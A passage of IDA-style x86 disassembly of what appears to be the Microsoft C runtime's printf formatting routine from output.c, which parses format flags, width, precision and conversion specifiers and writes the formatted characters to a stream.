		mov	[ebp+var_C], 0

loc_428DAB:				; CODE XREF: sub_428D80:loc_429A29j
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_2C], cl
		movsx	edx, byte ptr [ebp+var_2C]
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		test	edx, edx
		jz	loc_429A2E
		cmp	[ebp+var_230], 0
		jl	loc_429A2E
		movsx	ecx, byte ptr [ebp+var_2C]
		cmp	ecx, 20h
		jl	short loc_428DFD
		movsx	edx, byte ptr [ebp+var_2C]
		cmp	edx, 78h
		jg	short loc_428DFD
		movsx	eax, byte ptr [ebp+var_2C]
		movsx	ecx, byte ptr ds:(aInconsistentIo+2Ch)[eax]
		and	ecx, 0Fh
		mov	[ebp+var_294], ecx
		jmp	short loc_428E07
; ---------------------------------------------------------------------------

loc_428DFD:				; CODE XREF: sub_428D80+5Cj
					; sub_428D80+65j
		mov	[ebp+var_294], 0

loc_428E07:				; CODE XREF: sub_428D80+7Bj
		mov	edx, [ebp+var_294]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_1C]
		movsx	edx, ds:byte_43E168[ecx+eax*8]
		sar	edx, 4
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_298], eax
		cmp	[ebp+var_298], 7
		ja	loc_429A29
		mov	ecx, [ebp+var_298]
		jmp	ds:off_429A3B[ecx*4]

loc_428E47:				; CODE XREF: sub_428D80+339j
					; DATA XREF: .text:off_429A3Bo
		mov	[ebp+var_20], 0
		mov	edx, [ebp+var_2C]
		and	edx, 0FFh
		mov	eax, off_454E04
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_428EC4
		lea	edx, [ebp+var_230]
		push	edx		; int
		mov	eax, [ebp+File]
		push	eax		; File
		movsx	ecx, byte ptr [ebp+var_2C]
		push	ecx		; int
		call	_write_char
		add	esp, 0Ch
		mov	edx, [ebp+arg_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_2C], al
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx

loc_428E95:				; CODE XREF: sub_428D80+142j
		movsx	edx, byte ptr [ebp+var_2C]
		test	edx, edx
		jnz	short loc_428EBE
		push	offset aCh_t0	; "ch != _T('\\0')"
		push	0		; int
		push	18Eh		; Value
		push	offset aOutput_c ; "output.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_428EBE
		int	3		; Trap to Debugger

loc_428EBE:				; CODE XREF: sub_428D80+11Bj
					; sub_428D80+13Bj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_428E95

loc_428EC4:				; CODE XREF: sub_428D80+EAj
		lea	ecx, [ebp+var_230]
		push	ecx		; int
		mov	edx, [ebp+File]
		push	edx		; File
		movsx	eax, byte ptr [ebp+var_2C]
		push	eax		; int
		call	_write_char
		add	esp, 0Ch
		jmp	loc_429A29
; ---------------------------------------------------------------------------

loc_428EE1:				; CODE XREF: sub_428D80+C0j
					; DATA XREF: .text:00429A3Fo
		mov	[ebp+var_8], 0
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_240], ecx
		mov	edx, [ebp+var_240]
		mov	[ebp+var_248], edx
		mov	eax, [ebp+var_248]
		mov	[ebp+var_14], eax
		mov	[ebp+var_4], 0
		mov	[ebp+Size], 0FFFFFFFFh
		mov	[ebp+var_20], 0
		jmp	loc_429A29
; ---------------------------------------------------------------------------

loc_428F23:				; CODE XREF: sub_428D80+C0j
					; DATA XREF: .text:00429A43o
		movsx	ecx, byte ptr [ebp+var_2C]
		mov	[ebp+var_29C], ecx
		mov	edx, [ebp+var_29C]
		sub	edx, 20h
		mov	[ebp+var_29C], edx
		cmp	[ebp+var_29C], 10h
		ja	short loc_428F8D
		mov	ecx, [ebp+var_29C]
		xor	eax, eax
		mov	al, ds:byte_429A73[ecx]
		jmp	ds:off_429A5B[eax*4]

loc_428F5A:				; CODE XREF: sub_428D80+C0j
					; DATA XREF: .text:00429A67o
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx
		jmp	short loc_428F8D
; ---------------------------------------------------------------------------

loc_428F65:				; CODE XREF: sub_428D80+C0j
					; sub_428D80+1D3j
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax
		jmp	short loc_428F8D
; ---------------------------------------------------------------------------

loc_428F6F:				; CODE XREF: sub_428D80+C0j
					; sub_428D80+1D3j
					; DATA XREF: ...
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx
		jmp	short loc_428F8D
; ---------------------------------------------------------------------------

loc_428F7A:				; CODE XREF: sub_428D80+C0j
					; sub_428D80+1D3j
					; DATA XREF: ...
		mov	edx, [ebp+var_4]
		or	dl, 80h
		mov	[ebp+var_4], edx
		jmp	short loc_428F8D
; ---------------------------------------------------------------------------

loc_428F85:				; CODE XREF: sub_428D80+C0j
					; sub_428D80+1D3j
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax

loc_428F8D:				; CODE XREF: sub_428D80+C0j
					; sub_428D80+1C3j ...
		jmp	loc_429A29
; ---------------------------------------------------------------------------

loc_428F92:				; CODE XREF: sub_428D80+C0j
					; DATA XREF: .text:00429A47o
		movsx	ecx, byte ptr [ebp+var_2C]
		cmp	ecx, 2Ah
		jnz	short loc_428FCE
		lea	edx, [ebp+arg_8]
		push	edx
		call	_get_int_arg
		add	esp, 4
		mov	[ebp+var_248], eax
		cmp	[ebp+var_248], 0
		jge	short loc_428FCC
		mov	eax, [ebp+var_4]
		or	al, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_248]
		neg	ecx
		mov	[ebp+var_248], ecx

loc_428FCC:				; CODE XREF: sub_428D80+234j
		jmp	short loc_428FE5
; ---------------------------------------------------------------------------

loc_428FCE:				; CODE XREF: sub_428D80+219j
		mov	edx, [ebp+var_248]
		imul	edx, 0Ah
		movsx	eax, byte ptr [ebp+var_2C]
		lea	ecx, [edx+eax-30h]
		mov	[ebp+var_248], ecx

loc_428FE5:				; CODE XREF: sub_428D80:loc_428FCCj
		jmp	loc_429A29
; ---------------------------------------------------------------------------

loc_428FEA:				; CODE XREF: sub_428D80+C0j
					; DATA XREF: .text:00429A4Bo
		mov	[ebp+Size], 0
		jmp	loc_429A29
; ---------------------------------------------------------------------------

loc_428FF9:				; CODE XREF: sub_428D80+C0j
					; DATA XREF: .text:00429A4Fo
		movsx	edx, byte ptr [ebp+var_2C]
		cmp	edx, 2Ah
		jnz	short loc_429029
		lea	eax, [ebp+arg_8]
		push	eax
		call	_get_int_arg
		add	esp, 4
		mov	[ebp+Size], eax
		cmp	[ebp+Size], 0
		jge	short loc_429027
		mov	[ebp+Size], 0FFFFFFFFh

loc_429027:				; CODE XREF: sub_428D80+29Bj
		jmp	short loc_429040
; ---------------------------------------------------------------------------

loc_429029:				; CODE XREF: sub_428D80+280j
		mov	ecx, [ebp+Size]
		imul	ecx, 0Ah
		movsx	edx, byte ptr [ebp+var_2C]
		lea	eax, [ecx+edx-30h]
		mov	[ebp+Size], eax

loc_429040:				; CODE XREF: sub_428D80:loc_429027j
		jmp	loc_429A29
; ---------------------------------------------------------------------------

loc_429045:				; CODE XREF: sub_428D80+C0j
					; DATA XREF: .text:00429A53o
		movsx	ecx, byte ptr [ebp+var_2C]
		mov	[ebp+var_2A0], ecx
		mov	edx, [ebp+var_2A0]
		sub	edx, 49h
		mov	[ebp+var_2A0], edx
		cmp	[ebp+var_2A0], 2Eh
		ja	short loc_4290D3
		mov	ecx, [ebp+var_2A0]
		xor	eax, eax
		mov	al, ds:byte_429A98[ecx]
		jmp	ds:off_429A84[eax*4]

loc_42907C:				; DATA XREF: .text:00429A8Co
		mov	edx, [ebp+var_4]
		or	edx, 10h
		mov	[ebp+var_4], edx
		jmp	short loc_4290D3
; ---------------------------------------------------------------------------

loc_429087:				; CODE XREF: sub_428D80+2F5j
					; DATA XREF: .text:off_429A84o
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 36h
		jnz	short loc_4290B2
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 34h
		jnz	short loc_4290B2
		mov	ecx, [ebp+arg_4]
		add	ecx, 2
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+var_4]
		or	dh, 80h
		mov	[ebp+var_4], edx
		jmp	short loc_4290BE
; ---------------------------------------------------------------------------

loc_4290B2:				; CODE XREF: sub_428D80+310j
					; sub_428D80+31Cj
		mov	[ebp+var_1C], 0
		jmp	loc_428E47
; ---------------------------------------------------------------------------

loc_4290BE:				; CODE XREF: sub_428D80+330j
		jmp	short loc_4290D3
; ---------------------------------------------------------------------------

loc_4290C0:				; CODE XREF: sub_428D80+2F5j
					; DATA XREF: .text:00429A88o
		mov	eax, [ebp+var_4]
		or	al, 20h
		mov	[ebp+var_4], eax
		jmp	short loc_4290D3
; ---------------------------------------------------------------------------

loc_4290CA:				; CODE XREF: sub_428D80+2F5j
					; DATA XREF: .text:00429A90o
		mov	ecx, [ebp+var_4]
		or	ch, 8
		mov	[ebp+var_4], ecx

loc_4290D3:				; CODE XREF: sub_428D80+2E5j
					; sub_428D80+2F5j ...
		jmp	loc_429A29
; ---------------------------------------------------------------------------

loc_4290D8:				; CODE XREF: sub_428D80+C0j
					; DATA XREF: .text:00429A57o
		movsx	edx, byte ptr [ebp+var_2C]
		mov	[ebp+var_2A4], edx
		mov	eax, [ebp+var_2A4]
		sub	eax, 43h
		mov	[ebp+var_2A4], eax
		cmp	[ebp+var_2A4], 35h
		ja	loc_429833
		mov	edx, [ebp+var_2A4]
		xor	ecx, ecx
		mov	cl, ds:byte_429B03[edx]
		jmp	ds:off_429AC7[ecx*4]

loc_429113:				; DATA XREF: .text:off_429AC7o
		mov	eax, [ebp+var_4]
		and	eax, 830h
		test	eax, eax
		jnz	short loc_429128
		mov	ecx, [ebp+var_4]
		or	ch, 8
		mov	[ebp+var_4], ecx

loc_429128:				; CODE XREF: sub_428D80+38Cj
					; sub_428D80+39Dj
					; DATA XREF: ...
		mov	edx, [ebp+var_4]
		and	edx, 810h
		test	edx, edx
		jz	short loc_42916E
		lea	eax, [ebp+arg_8]
		push	eax
		call	_get_short_arg
		add	esp, 4
		mov	[ebp+WCh], ax
		mov	cx, [ebp+WCh]
		push	ecx		; WCh
		lea	edx, [ebp+MbCh]
		push	edx		; MbCh
		call	_wctomb
		add	esp, 8
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jge	short loc_42916C
		mov	[ebp+var_240], 1

loc_42916C:				; CODE XREF: sub_428D80+3E0j
		jmp	short loc_429194
; ---------------------------------------------------------------------------

loc_42916E:				; CODE XREF: sub_428D80+3B3j
		lea	eax, [ebp+arg_8]
		push	eax
		call	_get_int_arg
		add	esp, 4
		mov	[ebp+var_24C], ax
		mov	cl, byte ptr [ebp+var_24C]
		mov	[ebp+MbCh], cl
		mov	[ebp+var_28], 1

loc_429194:				; CODE XREF: sub_428D80:loc_42916Cj
		lea	edx, [ebp+MbCh]
		mov	[ebp+Str], edx
		jmp	loc_429833
; ---------------------------------------------------------------------------

loc_4291A2:				; CODE XREF: sub_428D80+38Cj
					; DATA XREF: .text:00429AD7o
		lea	eax, [ebp+arg_8]
		push	eax
		call	_get_int_arg
		add	esp, 4
		mov	[ebp+var_250], eax
		cmp	[ebp+var_250], 0
		jz	short loc_4291C9
		mov	ecx, [ebp+var_250]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_4291E3

loc_4291C9:				; CODE XREF: sub_428D80+43Bj
		mov	edx, off_45501C
		mov	[ebp+Str], edx
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		add	esp, 4
		mov	[ebp+var_28], eax
		jmp	short loc_429232
; ---------------------------------------------------------------------------

loc_4291E3:				; CODE XREF: sub_428D80+447j
		mov	ecx, [ebp+var_4]
		and	ecx, 800h
		test	ecx, ecx
		jz	short loc_429213
		mov	edx, [ebp+var_250]
		mov	eax, [edx+4]
		mov	[ebp+Str], eax
		mov	ecx, [ebp+var_250]
		movsx	edx, word ptr [ecx]
		shr	edx, 1
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], 1
		jmp	short loc_429232
; ---------------------------------------------------------------------------

loc_429213:				; CODE XREF: sub_428D80+46Ej
		mov	[ebp+var_20], 0
		mov	eax, [ebp+var_250]
		mov	ecx, [eax+4]
		mov	[ebp+Str], ecx
		mov	edx, [ebp+var_250]
		movsx	eax, word ptr [edx]
		mov	[ebp+var_28], eax

loc_429232:				; CODE XREF: sub_428D80+461j
					; sub_428D80+491j
		jmp	loc_429833
; ---------------------------------------------------------------------------

loc_429237:				; CODE XREF: sub_428D80+38Cj
					; DATA XREF: .text:00429ACFo
		mov	ecx, [ebp+var_4]
		and	ecx, 830h
		test	ecx, ecx
		jnz	short loc_42924D
		mov	edx, [ebp+var_4]
		or	dh, 8
		mov	[ebp+var_4], edx

loc_42924D:				; CODE XREF: sub_428D80+38Cj
					; sub_428D80+4C2j
					; DATA XREF: ...
		cmp	[ebp+Size], 0FFFFFFFFh
		jnz	short loc_429262
		mov	[ebp+var_2A8], 7FFFFFFFh
		jmp	short loc_42926E
; ---------------------------------------------------------------------------

loc_429262:				; CODE XREF: sub_428D80+4D4j
		mov	eax, [ebp+Size]
		mov	[ebp+var_2A8], eax

loc_42926E:				; CODE XREF: sub_428D80+4E0j
		mov	ecx, [ebp+var_2A8]
		mov	[ebp+var_25C], ecx
		lea	edx, [ebp+arg_8]
		push	edx
		call	_get_int_arg
		add	esp, 4
		mov	[ebp+Str], eax
		mov	eax, [ebp+var_4]
		and	eax, 810h
		test	eax, eax
		jz	short loc_4292FD
		cmp	[ebp+Str], 0
		jnz	short loc_4292A4
		mov	ecx, off_455020
		mov	[ebp+Str], ecx

loc_4292A4:				; CODE XREF: sub_428D80+519j
		mov	[ebp+var_20], 1
		mov	edx, [ebp+Str]
		mov	[ebp+var_258], edx

loc_4292B4:				; CODE XREF: sub_428D80+56Bj
		mov	eax, [ebp+var_25C]
		mov	ecx, [ebp+var_25C]
		sub	ecx, 1
		mov	[ebp+var_25C], ecx
		test	eax, eax
		jz	short loc_4292ED
		mov	edx, [ebp+var_258]
		xor	eax, eax
		mov	ax, [edx]
		test	eax, eax
		jz	short loc_4292ED
		mov	ecx, [ebp+var_258]
		add	ecx, 2
		mov	[ebp+var_258], ecx
		jmp	short loc_4292B4
; ---------------------------------------------------------------------------

loc_4292ED:				; CODE XREF: sub_428D80+54Bj
					; sub_428D80+55Aj
		mov	edx, [ebp+var_258]
		sub	edx, [ebp+Str]
		sar	edx, 1
		mov	[ebp+var_28], edx
		jmp	short loc_429357
; ---------------------------------------------------------------------------

loc_4292FD:				; CODE XREF: sub_428D80+513j
		cmp	[ebp+Str], 0
		jnz	short loc_42930B
		mov	eax, off_45501C
		mov	[ebp+Str], eax

loc_42930B:				; CODE XREF: sub_428D80+581j
		mov	ecx, [ebp+Str]
		mov	[ebp+var_254], ecx

loc_429314:				; CODE XREF: sub_428D80+5C9j
		mov	edx, [ebp+var_25C]
		mov	eax, [ebp+var_25C]
		sub	eax, 1
		mov	[ebp+var_25C], eax
		test	edx, edx
		jz	short loc_42934B
		mov	ecx, [ebp+var_254]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_42934B
		mov	eax, [ebp+var_254]
		add	eax, 1
		mov	[ebp+var_254], eax
		jmp	short loc_429314
; ---------------------------------------------------------------------------

loc_42934B:				; CODE XREF: sub_428D80+5ABj
					; sub_428D80+5B8j
		mov	ecx, [ebp+var_254]
		sub	ecx, [ebp+Str]
		mov	[ebp+var_28], ecx

loc_429357:				; CODE XREF: sub_428D80+57Bj
		jmp	loc_429833
; ---------------------------------------------------------------------------

loc_42935C:				; CODE XREF: sub_428D80+38Cj
					; DATA XREF: .text:00429AE7o
		lea	edx, [ebp+arg_8]
		push	edx
		call	_get_int_arg
		add	esp, 4
		mov	[ebp+var_260], eax
		mov	eax, [ebp+var_4]
		and	eax, 20h
		test	eax, eax
		jz	short loc_42938A
		mov	ecx, [ebp+var_260]
		mov	dx, word ptr [ebp+var_230]
		mov	[ecx], dx
		jmp	short loc_429398
; ---------------------------------------------------------------------------

loc_42938A:				; CODE XREF: sub_428D80+5F6j
		mov	eax, [ebp+var_260]
		mov	ecx, [ebp+var_230]
		mov	[eax], ecx

loc_429398:				; CODE XREF: sub_428D80+608j
		mov	[ebp+var_240], 1
		jmp	loc_429833
; ---------------------------------------------------------------------------

loc_4293A7:				; CODE XREF: sub_428D80+38Cj
					; DATA XREF: .text:00429ACBo
		mov	[ebp+var_8], 1
		mov	dl, byte ptr [ebp+var_2C]
		add	dl, 20h
		mov	byte ptr [ebp+var_2C], dl

loc_4293B7:				; CODE XREF: sub_428D80+38Cj
					; DATA XREF: .text:00429AE3o
		mov	eax, [ebp+var_4]
		or	al, 40h
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+MbCh]
		mov	[ebp+Str], ecx
		cmp	[ebp+Size], 0
		jge	short loc_4293DD
		mov	[ebp+Size], 6
		jmp	short loc_429411
; ---------------------------------------------------------------------------

loc_4293DD:				; CODE XREF: sub_428D80+64Fj
		cmp	[ebp+Size], 0
		jnz	short loc_4293FB
		movsx	edx, byte ptr [ebp+var_2C]
		cmp	edx, 67h
		jnz	short loc_4293FB
		mov	[ebp+Size], 1
		jmp	short loc_429411
; ---------------------------------------------------------------------------

loc_4293FB:				; CODE XREF: sub_428D80+664j
					; sub_428D80+66Dj
		cmp	[ebp+Size], 200h
		jle	short loc_429411
		mov	[ebp+Size], 200h

loc_429411:				; CODE XREF: sub_428D80+65Bj
					; sub_428D80+679j ...
		cmp	[ebp+Size], 0A3h
		jle	short loc_429458
		push	2EAh
		push	offset aOutput_c ; "output.c"
		push	2
		mov	eax, [ebp+Size]
		add	eax, 15Dh
		push	eax
		call	__malloc_dbg
		add	esp, 10h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_42944E
		mov	ecx, [ebp+var_C]
		mov	[ebp+Str], ecx
		jmp	short loc_429458
; ---------------------------------------------------------------------------

loc_42944E:				; CODE XREF: sub_428D80+6C4j
		mov	[ebp+Size], 0A3h

loc_429458:				; CODE XREF: sub_428D80+69Bj
					; sub_428D80+6CCj
		mov	edx, [ebp+arg_8]
		add	edx, 8
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+arg_8]
		sub	eax, 8
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	[ebp+var_268], ecx
		mov	[ebp+var_264], edx
		mov	eax, [ebp+var_8]
		push	eax		; int
		mov	ecx, [ebp+Size]
		push	ecx		; Size
		movsx	edx, byte ptr [ebp+var_2C]
		push	edx		; int
		mov	eax, [ebp+Str]
		push	eax		; int
		lea	ecx, [ebp+var_268]
		push	ecx		; int
		call	off_4553B0
		add	esp, 14h
		mov	edx, [ebp+var_4]
		and	edx, 80h
		test	edx, edx
		jz	short loc_4294BF
		cmp	[ebp+Size], 0
		jnz	short loc_4294BF
		mov	eax, [ebp+Str]
		push	eax
		call	off_4553BC
		add	esp, 4

loc_4294BF:				; CODE XREF: sub_428D80+727j
					; sub_428D80+730j
		movsx	ecx, byte ptr [ebp+var_2C]
		cmp	ecx, 67h
		jnz	short loc_4294E2
		mov	edx, [ebp+var_4]
		and	edx, 80h
		test	edx, edx
		jnz	short loc_4294E2
		mov	eax, [ebp+Str]
		push	eax
		call	off_4553B4
		add	esp, 4

loc_4294E2:				; CODE XREF: sub_428D80+746j
					; sub_428D80+753j
		mov	ecx, [ebp+Str]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Dh
		jnz	short loc_4294FF
		mov	eax, [ebp+var_4]
		or	ah, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+Str]
		add	ecx, 1
		mov	[ebp+Str], ecx

loc_4294FF:				; CODE XREF: sub_428D80+76Bj
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	_strlen
		add	esp, 4
		mov	[ebp+var_28], eax
		jmp	loc_429833
; ---------------------------------------------------------------------------

loc_429513:				; CODE XREF: sub_428D80+38Cj
					; DATA XREF: .text:00429ADFo
		mov	eax, [ebp+var_4]
		or	al, 40h
		mov	[ebp+var_4], eax
		mov	[ebp+var_23C], 0Ah
		jmp	loc_4295AB
; ---------------------------------------------------------------------------

loc_42952A:				; CODE XREF: sub_428D80+38Cj
					; DATA XREF: .text:00429AF7o
		mov	[ebp+var_23C], 0Ah
		jmp	short loc_4295AB
; ---------------------------------------------------------------------------

loc_429536:				; CODE XREF: sub_428D80+38Cj
					; DATA XREF: .text:00429AEFo
		mov	[ebp+Size], 8

loc_429540:				; CODE XREF: sub_428D80+38Cj
					; DATA XREF: .text:00429AD3o
		mov	[ebp+var_234], 7
		jmp	short loc_429556
; ---------------------------------------------------------------------------

loc_42954C:				; CODE XREF: sub_428D80+38Cj
					; DATA XREF: .text:00429AFBo
		mov	[ebp+var_234], 27h

loc_429556:				; CODE XREF: sub_428D80+7CAj
		mov	[ebp+var_23C], 10h
		mov	ecx, [ebp+var_4]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_42958A
		mov	byte ptr [ebp+var_244],	30h
		mov	edx, [ebp+var_234]
		add	edx, 51h
		mov	byte ptr [ebp+var_244+1], dl
		mov	[ebp+var_14], 2

loc_42958A:				; CODE XREF: sub_428D80+7EBj
		jmp	short loc_4295AB
; ---------------------------------------------------------------------------

loc_42958C:				; CODE XREF: sub_428D80+38Cj
					; DATA XREF: .text:00429AEBo
		mov	[ebp+var_23C], 8
		mov	eax, [ebp+var_4]
		and	eax, 80h
		test	eax, eax
		jz	short loc_4295AB
		mov	ecx, [ebp+var_4]
		or	ch, 2
		mov	[ebp+var_4], ecx

loc_4295AB:				; CODE XREF: sub_428D80+7A5j
					; sub_428D80+7B4j ...
		mov	edx, [ebp+var_4]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_4295D5
		lea	eax, [ebp+arg_8]
		push	eax
		call	_get_int64_arg
		add	esp, 4
		mov	[ebp+var_27C], eax
		mov	[ebp+var_278], edx
		jmp	loc_429666
; ---------------------------------------------------------------------------

loc_4295D5:				; CODE XREF: sub_428D80+836j
		mov	ecx, [ebp+var_4]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_429627
		mov	edx, [ebp+var_4]
		and	edx, 40h
		test	edx, edx
		jz	short loc_429607
		lea	eax, [ebp+arg_8]
		push	eax
		call	_get_int_arg
		add	esp, 4
		movsx	eax, ax
		cdq
		mov	[ebp+var_27C], eax
		mov	[ebp+var_278], edx
		jmp	short loc_429625
; ---------------------------------------------------------------------------

loc_429607:				; CODE XREF: sub_428D80+867j
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	_get_int_arg
		add	esp, 4
		and	eax, 0FFFFh
		cdq
		mov	[ebp+var_27C], eax
		mov	[ebp+var_278], edx

loc_429625:				; CODE XREF: sub_428D80+885j
		jmp	short loc_429666
; ---------------------------------------------------------------------------

loc_429627:				; CODE XREF: sub_428D80+85Dj
		mov	edx, [ebp+var_4]
		and	edx, 40h
		test	edx, edx
		jz	short loc_42964C
		lea	eax, [ebp+arg_8]
		push	eax
		call	_get_int_arg
		add	esp, 4
		cdq
		mov	[ebp+var_27C], eax
		mov	[ebp+var_278], edx
		jmp	short loc_429666
; ---------------------------------------------------------------------------

loc_42964C:				; CODE XREF: sub_428D80+8AFj
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	_get_int_arg
		add	esp, 4
		xor	edx, edx
		mov	[ebp+var_27C], eax
		mov	[ebp+var_278], edx

loc_429666:				; CODE XREF: sub_428D80+850j
					; sub_428D80:loc_429625j ...
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_4296AE
		cmp	[ebp+var_278], 0
		jg	short loc_4296AE
		jl	short loc_429684
		cmp	[ebp+var_27C], 0
		jnb	short loc_4296AE

loc_429684:				; CODE XREF: sub_428D80+8F9j
		mov	ecx, [ebp+var_27C]
		neg	ecx
		mov	edx, [ebp+var_278]
		adc	edx, 0
		neg	edx
		mov	[ebp+var_270], ecx
		mov	[ebp+var_26C], edx
		mov	eax, [ebp+var_4]
		or	ah, 1
		mov	[ebp+var_4], eax
		jmp	short loc_4296C6
; ---------------------------------------------------------------------------

loc_4296AE:				; CODE XREF: sub_428D80+8EEj
					; sub_428D80+8F7j ...
		mov	ecx, [ebp+var_27C]
		mov	[ebp+var_270], ecx
		mov	edx, [ebp+var_278]
		mov	[ebp+var_26C], edx

loc_4296C6:				; CODE XREF: sub_428D80+92Cj
		mov	eax, [ebp+var_4]
		and	eax, 8000h
		test	eax, eax
		jnz	short loc_4296ED
		mov	ecx, [ebp+var_270]
		mov	edx, [ebp+var_26C]
		and	edx, 0
		mov	[ebp+var_270], ecx
		mov	[ebp+var_26C], edx

loc_4296ED:				; CODE XREF: sub_428D80+950j
		cmp	[ebp+Size], 0
		jge	short loc_429702
		mov	[ebp+Size], 1
		jmp	short loc_429720
; ---------------------------------------------------------------------------

loc_429702:				; CODE XREF: sub_428D80+974j
		mov	eax, [ebp+var_4]
		and	al, 0F7h
		mov	[ebp+var_4], eax
		cmp	[ebp+Size], 200h
		jle	short loc_429720
		mov	[ebp+Size], 200h

loc_429720:				; CODE XREF: sub_428D80+980j
					; sub_428D80+994j
		mov	ecx, [ebp+var_270]
		or	ecx, [ebp+var_26C]
		test	ecx, ecx
		jnz	short loc_429737
		mov	[ebp+var_14], 0

loc_429737:				; CODE XREF: sub_428D80+9AEj
		lea	edx, [ebp+var_2D]
		mov	[ebp+Str], edx

loc_42973D:				; CODE XREF: sub_428D80+A66j
		mov	eax, [ebp+Size]
		mov	ecx, [ebp+Size]
		sub	ecx, 1
		mov	[ebp+Size], ecx
		test	eax, eax
		jg	short loc_42976A
		mov	edx, [ebp+var_270]
		or	edx, [ebp+var_26C]
		test	edx, edx
		jz	loc_4297EB

loc_42976A:				; CODE XREF: sub_428D80+9D4j
		mov	eax, [ebp+var_23C]
		cdq
		push	edx
		push	eax
		mov	eax, [ebp+var_26C]
		push	eax
		mov	ecx, [ebp+var_270]
		push	ecx
		call	__aullrem
		add	eax, 30h
		mov	[ebp+var_274], eax
		mov	eax, [ebp+var_23C]
		cdq
		push	edx
		push	eax
		mov	edx, [ebp+var_26C]
		push	edx
		mov	eax, [ebp+var_270]
		push	eax
		call	__aulldiv
		mov	[ebp+var_270], eax
		mov	[ebp+var_26C], edx
		cmp	[ebp+var_274], 39h
		jle	short loc_4297D2
		mov	ecx, [ebp+var_274]
		add	ecx, [ebp+var_234]
		mov	[ebp+var_274], ecx

loc_4297D2:				; CODE XREF: sub_428D80+A3Ej
		mov	edx, [ebp+Str]
		mov	al, byte ptr [ebp+var_274]
		mov	[edx], al
		mov	ecx, [ebp+Str]
		sub	ecx, 1
		mov	[ebp+Str], ecx
		jmp	loc_42973D
; ---------------------------------------------------------------------------

loc_4297EB:				; CODE XREF: sub_428D80+9E4j
		lea	edx, [ebp+var_2D]
		sub	edx, [ebp+Str]
		mov	[ebp+var_28], edx
		mov	eax, [ebp+Str]
		add	eax, 1
		mov	[ebp+Str], eax
		mov	ecx, [ebp+var_4]
		and	ecx, 200h
		test	ecx, ecx
		jz	short loc_429833
		mov	edx, [ebp+Str]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jnz	short loc_42981B
		cmp	[ebp+var_28], 0
		jnz	short loc_429833

loc_42981B:				; CODE XREF: sub_428D80+A93j
		mov	ecx, [ebp+Str]
		sub	ecx, 1
		mov	[ebp+Str], ecx
		mov	edx, [ebp+Str]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_28]
		add	eax, 1
		mov	[ebp+var_28], eax

loc_429833:				; CODE XREF: sub_428D80+378j
					; sub_428D80+38Cj ...
		cmp	[ebp+var_240], 0
		jnz	loc_429A0E
		mov	ecx, [ebp+var_4]
		and	ecx, 40h
		test	ecx, ecx
		jz	short loc_429899
		mov	edx, [ebp+var_4]
		and	edx, 100h
		test	edx, edx
		jz	short loc_429867
		mov	byte ptr [ebp+var_244],	2Dh
		mov	[ebp+var_14], 1
		jmp	short loc_429899
; ---------------------------------------------------------------------------

loc_429867:				; CODE XREF: sub_428D80+AD5j
		mov	eax, [ebp+var_4]
		and	eax, 1
		test	eax, eax
		jz	short loc_429881
		mov	byte ptr [ebp+var_244],	2Bh
		mov	[ebp+var_14], 1
		jmp	short loc_429899
; ---------------------------------------------------------------------------

loc_429881:				; CODE XREF: sub_428D80+AEFj
		mov	ecx, [ebp+var_4]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_429899
		mov	byte ptr [ebp+var_244],	20h
		mov	[ebp+var_14], 1

loc_429899:				; CODE XREF: sub_428D80+AC8j
					; sub_428D80+AE5j ...
		mov	edx, [ebp+var_248]
		sub	edx, [ebp+var_28]
		sub	edx, [ebp+var_14]
		mov	[ebp+var_280], edx
		mov	eax, [ebp+var_4]
		and	eax, 0Ch
		test	eax, eax
		jnz	short loc_4298D1
		lea	ecx, [ebp+var_230]
		push	ecx		; int
		mov	edx, [ebp+File]
		push	edx		; File
		mov	eax, [ebp+var_280]
		push	eax		; int
		push	20h		; int
		call	_write_multi_char
		add	esp, 10h

loc_4298D1:				; CODE XREF: sub_428D80+B33j
		lea	ecx, [ebp+var_230]
		push	ecx		; int
		mov	edx, [ebp+File]
		push	edx		; File
		mov	eax, [ebp+var_14]
